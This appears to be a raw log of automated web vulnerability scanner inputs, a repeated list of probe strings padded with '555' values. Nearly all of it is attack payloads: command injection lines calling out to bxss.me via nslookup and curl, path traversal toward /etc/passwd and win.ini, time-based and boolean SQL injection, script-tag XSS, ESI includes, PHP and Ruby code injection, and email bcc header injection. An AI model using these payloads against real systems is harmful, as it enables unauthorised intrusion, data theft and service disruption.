555

response.write(9635467*9325463)

'+response.write(9635467*9325463)+'

"+response.write(9635467*9325463)+"

echo abrwnb$() rsvvoxnz^xyu||a #' &echo abrwnb$() rsvvoxnz^xyu||a #|" &echo abrwnb$() rsvvoxnz^xyu||a #

hb7V0gXJ

&echo flqiyq$() mcnzuonz^xyu||a #' &echo flqiyq$() mcnzuonz^xyu||a #|" &echo flqiyq$() mcnzuonz^xyu||a #

555&echo ilbwas$() vvgkkynz^xyu||a #' &echo ilbwas$() vvgkkynz^xyu||a #|" &echo ilbwas$() vvgkkynz^xyu||a #

555

|echo bewxig$() nemdvjnz^xyu||a #' |echo bewxig$() nemdvjnz^xyu||a #|" |echo bewxig$() nemdvjnz^xyu||a #

555

555|echo skyutl$() ainxijnz^xyu||a #' |echo skyutl$() ainxijnz^xyu||a #|" |echo skyutl$() ainxijnz^xyu||a #

555

../../../../../../../../../../../../../../etc/passwd

(nslookup -q=cname hitwgytfudnikdb26a.bxss.me||curl hitwgytfudnikdb26a.bxss.me))

../../../../../../../../../../../../../../windows/win.ini

$(nslookup -q=cname hitayhntlibww4c155.bxss.me||curl hitayhntlibww4c155.bxss.me)

file:///etc/passwd

&nslookup -q=cname hitwfdnalwwim02479.bxss.me&'"`0&nslookup -q=cname hitwfdnalwwim02479.bxss.me&`'

555

555

&(nslookup -q=cname hitwbbtyfwrvk2f2ef.bxss.me||curl hitwbbtyfwrvk2f2ef.bxss.me)&'"`0&(nslookup -q=cname hitwbbtyfwrvk2f2ef.bxss.me||curl hitwbbtyfwrvk2f2ef.bxss.me)&`'

../555

|(nslookup -q=cname hitixjdiezmnm8199b.bxss.me||curl hitixjdiezmnm8199b.bxss.me)

`(nslookup -q=cname hitzosjktvdqz43ea4.bxss.me||curl hitzosjktvdqz43ea4.bxss.me)`

;(nslookup -q=cname hitmgrwzulwqd0fbc1.bxss.me||curl hitmgrwzulwqd0fbc1.bxss.me)|(nslookup -q=cname hitmgrwzulwqd0fbc1.bxss.me||curl hitmgrwzulwqd0fbc1.bxss.me)&(nslookup -q=cname hitmgrwzulwqd0fbc1.bxss.me||curl hitmgrwzulwqd0fbc1.bxss.me)

555
bcc:0.45-204138.45.c1efa.20268.2@bxss.me

to@example.com>
bcc:0.45-204139.45.c1efa.20268.2@bxss.me

555

555

12345'"'");|]*{
<>

555

555

555

555

555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

${9999025+9999430}

555

555

555

555

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555&n943994=v902616

555

)

555

555

!(()&&!|*|*|

/etc/shells

'.gethostbyname(lc('hituv'.'nabkbhjy4db67.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(66).chr(104).chr(84).'

555

^(#$!@#$)(()))******

555

555

c:/windows/win.ini

".gethostbyname(lc("hitlx"."ddabxwdu81688.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(89).chr(103).chr(82)."

bxss.me

555

555

'"()

555

555'&&sleep(27*1000)*ylpyxi&&'

555

555

555

555

555"&&sleep(27*1000)*ogkbqr&&"

555

555

555'||sleep(27*1000)*fnpasa||'

555

555

555"||sleep(27*1000)*lanmlw||"

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

';print(md5(31337));$a='

555

555

555

555

";print(md5(31337));$a="

555

${@print(md5(31337))}

bxss.me/t/xss.html?%00

555

${@print(md5(31337))}

555

555

'.print(md5(31337)).'

555

555

555

555

555

555

555

555

555

"+"A".concat(70-3).concat(22*4).concat(113).concat(77).concat(109).concat(90)+(require"socket"
Socket.gethostbyname("hitvj"+"aybkqlwufd43d.bxss.me.")[3].to_s)+"

555

-1 OR 2+926-926-1=0+0+0+1 --

'+'A'.concat(70-3).concat(22*4).concat(118).concat(90).concat(112).concat(73)+(require'socket'
Socket.gethostbyname('hitha'+'wzfmvhok280fe.bxss.me.')[3].to_s)+'

555

-1 OR 2+944-944-1=0+0+0+1

555

555

555

-1' OR 2+591-591-1=0+0+0+1 --

555

555

-1' OR 2+962-962-1=0+0+0+1 or 'cNcHNaem'='

555

reply

555

555

-1" OR 2+889-889-1=0+0+0+1 --

555

reply

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

reply/.

555

555

555

555

xfs.bxss.me

555

555

555

'"

555

555

<!--

555

555'"()&%<zzz><ScRiPt >lK6J(9159)</ScRiPt>

555

555

555

'"()&%<zzz><ScRiPt >lK6J(9691)</ScRiPt>

555

555

555

5559558986

555

555

555

if(now()=sysdate(),sleep(15),0)

555

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

wSKCwWk6'; waitfor delay '0:0:15' --

-5 OR 180=(SELECT 180 FROM PG_SLEEP(15))--

-5) OR 784=(SELECT 784 FROM PG_SLEEP(15))--

-1)) OR 184=(SELECT 184 FROM PG_SLEEP(15))--

vnOWDIiB' OR 457=(SELECT 457 FROM PG_SLEEP(15))--

jssDGdoK') OR 207=(SELECT 207 FROM PG_SLEEP(15))--

14dii7Fc')) OR 339=(SELECT 339 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@aFJML

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

response.write(9753109*9896565)

echo cemfxh$() chkaotnz^xyu||a #' &echo cemfxh$() chkaotnz^xyu||a #|" &echo cemfxh$() chkaotnz^xyu||a #

'+response.write(9753109*9896565)+'

&echo avjjqm$() ufhpuxnz^xyu||a #' &echo avjjqm$() ufhpuxnz^xyu||a #|" &echo avjjqm$() ufhpuxnz^xyu||a #

"+response.write(9753109*9896565)+"

555&echo mzvtbq$() hgepxunz^xyu||a #' &echo mzvtbq$() hgepxunz^xyu||a #|" &echo mzvtbq$() hgepxunz^xyu||a #

uWHg7T4q

|echo stqbzc$() kjmrujnz^xyu||a #' |echo stqbzc$() kjmrujnz^xyu||a #|" |echo stqbzc$() kjmrujnz^xyu||a #

555|echo agrbyo$() bsbcxcnz^xyu||a #' |echo agrbyo$() bsbcxcnz^xyu||a #|" |echo agrbyo$() bsbcxcnz^xyu||a #

(nslookup -q=cname hitdyhiugzfvy55354.bxss.me||curl hitdyhiugzfvy55354.bxss.me))

../../../../../../../../../../../../../../etc/passwd

$(nslookup -q=cname hitynjdgflooi59c8e.bxss.me||curl hitynjdgflooi59c8e.bxss.me)

../../../../../../../../../../../../../../windows/win.ini

&nslookup -q=cname hitzayberphrwdff10.bxss.me&'"`0&nslookup -q=cname hitzayberphrwdff10.bxss.me&`'

file:///etc/passwd

&(nslookup -q=cname hitrsqrdortty693dd.bxss.me||curl hitrsqrdortty693dd.bxss.me)&'"`0&(nslookup -q=cname hitrsqrdortty693dd.bxss.me||curl hitrsqrdortty693dd.bxss.me)&`'

555
bcc:0.45-219059.45.c1efa.20268.2@bxss.me

555

to@example.com>
bcc:0.45-219060.45.c1efa.20268.2@bxss.me

../555

|(nslookup -q=cname hiterjqoiafts42930.bxss.me||curl hiterjqoiafts42930.bxss.me)

`(nslookup -q=cname hitjhutcunuub921c8.bxss.me||curl hitjhutcunuub921c8.bxss.me)`

;(nslookup -q=cname hitehlubrkaohe5381.bxss.me||curl hitehlubrkaohe5381.bxss.me)|(nslookup -q=cname hitehlubrkaohe5381.bxss.me||curl hitehlubrkaohe5381.bxss.me)&(nslookup -q=cname hitehlubrkaohe5381.bxss.me||curl hitehlubrkaohe5381.bxss.me)

12345'"'");|]*{
<>

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

${10000295+9999621}

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555&n970598=v905981

)

!(()&&!|*|*|

555

/etc/shells

^(#$!@#$)(()))******

c:/windows/win.ini

bxss.me

555

555

'.gethostbyname(lc('hitbo'.'gwevyzvkef9a6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(75).chr(120).chr(78).'

555

".gethostbyname(lc("hitky"."wffyozvif00af.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(81).chr(106).chr(85)."

555

'"()

555'&&sleep(27*1000)*mpvofh&&'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555"&&sleep(27*1000)*llieop&&"

555'||sleep(27*1000)*elsurh||'

';print(md5(31337));$a='

bxss.me/t/xss.html?%00

555"||sleep(27*1000)*eynxoi||"

";print(md5(31337));$a="

${@print(md5(31337))}

"+"A".concat(70-3).concat(22*4).concat(100).concat(71).concat(116).concat(85)+(require"socket"
Socket.gethostbyname("hitkl"+"luyrbgrva500b.bxss.me.")[3].to_s)+"

555

${@print(md5(31337))}

reply

'+'A'.concat(70-3).concat(22*4).concat(107).concat(86).concat(119).concat(65)+(require'socket'
Socket.gethostbyname('hitih'+'cvsmbmhn2591e.bxss.me.')[3].to_s)+'

'.print(md5(31337)).'

reply

reply/.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

xfs.bxss.me

'"

555'"()&%<zzz><ScRiPt >l05u(9286)</ScRiPt>

<!--

555

555

'"()&%<zzz><ScRiPt >l05u(9198)</ScRiPt>

-1 OR 2+93-93-1=0+0+0+1 --

555

-1 OR 2+235-235-1=0+0+0+1

5559120205

-1' OR 2+650-650-1=0+0+0+1 --

-1' OR 2+110-110-1=0+0+0+1 or 'IKpm7ayg'='

555

555

-1" OR 2+196-196-1=0+0+0+1 --

555

555

555

555

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

R1dNYywO'; waitfor delay '0:0:15' --

-5 OR 725=(SELECT 725 FROM PG_SLEEP(15))--

-5) OR 394=(SELECT 394 FROM PG_SLEEP(15))--

-1)) OR 960=(SELECT 960 FROM PG_SLEEP(15))--

KXwItC93' OR 429=(SELECT 429 FROM PG_SLEEP(15))--

ivQitjNY') OR 337=(SELECT 337 FROM PG_SLEEP(15))--

gUGaRty1')) OR 978=(SELECT 978 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@1gcnL

555

555

555

555

555

555

555